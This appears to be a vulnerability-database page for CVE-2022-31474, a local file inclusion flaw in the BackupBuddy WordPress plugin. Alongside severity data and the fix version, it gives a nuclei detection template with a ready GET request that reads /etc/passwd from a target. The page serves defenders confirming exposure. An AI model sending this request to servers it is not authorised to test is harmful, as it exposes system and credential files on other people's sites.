HexBrain

Browse / CVEs / CVE-2022-31474

CVE-2022-31474· ithemes / backupbuddy· CWE-22

BackupBuddy - Local File Inclusion

highseverity
7.5CVSS score
63.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

BackupBuddy versions 8.5.8.0 - 8.7.4.1 are vulnerable to a local file inclusion vulnerability via the 'download' and 'local-destination-id' parameters.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.

Fix

Upgrade to at least version 8.7.5 or higher

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-31474 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-31474

info:
  name: BackupBuddy - Local File Inclusion
  author: aringo
  severity: high
  description: BackupBuddy versions 8.5.8.0 - 8.7.4.1 are vulnerable to a local file inclusion vulnerability via the 'download' and 'local-destination-id' parameters.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
  remediation: Upgrade to at least version 8.7.5 or higher
  reference:
    - https://www.wordfence.com/blog/2022/09/psa-nearly-5-million-attacks-blocked-targeting-0-day-in-backupbuddy-plugin/
    - https://ithemes.com/blog/wordpress-vulnerability-report-special-edition-september-6-2022-backupbuddy
    - https://ithemes.com/backupbuddy/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31474
    - https://ithemes.com/blog/wordpress-vulnerability-report-special-edition-september-6-2022-backupbuddy/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31474
    cwe-id: CWE-22
    epss-score: 0.63761
    epss-percentile: 0.99226
    cpe: cpe:2.3:a:ithemes:backupbuddy:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: ithemes
    product: backupbuddy
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,lfi,backupbuddy,ithemes,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from